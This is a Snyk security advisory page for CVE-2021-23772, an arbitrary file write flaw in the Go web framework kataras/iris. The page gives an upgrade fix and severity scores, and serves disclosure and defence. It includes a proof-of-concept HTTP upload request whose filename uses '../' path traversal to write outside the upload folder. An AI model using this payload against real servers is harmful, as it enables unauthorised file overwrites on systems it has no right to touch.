HIGH

🔍 Search by package name or CVE

Arbitrary File Write

Affecting github.com/kataras/iris package, versions **<12.2.0-alpha8**

INTRODUCED: 23 DEC 2021 CVE-2021-23772 ❓ CWE-59 ❓ (FIRST ADDED BY SNYK)

Share ⌄

How to fix?

Upgrade `github.com/kataras/iris` to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using `UploadFormFiles` method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

```
POST /upload HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=----xxx Connection: close Content-
Length: 151
------xxx Content-Disposition: form-data; name="uploadfile"; filename="../../../../malicious-file" Content-Type: text/plain

pwned


------xxx--
```

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe `net/http` behaviour.

References

- GitHub Commit

Snyk CVSS

Exploit Maturity	Proof of concept ❓
Attack Complexity	High ❓
Confidentiality	(HIGH) ❓
Integrity	(HIGH) ❓
Availability	(HIGH) ❓

See more

› **NVD** (8.8 HIGH)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-GOLANG-GITHUBCOMKATARASIRIS-2325169
Published	23 Dec 2021
Disclosed	23 Dec 2021
Credit	Snyk Security Team

Report a new vulnerability   Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon   Join the ›› community

© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.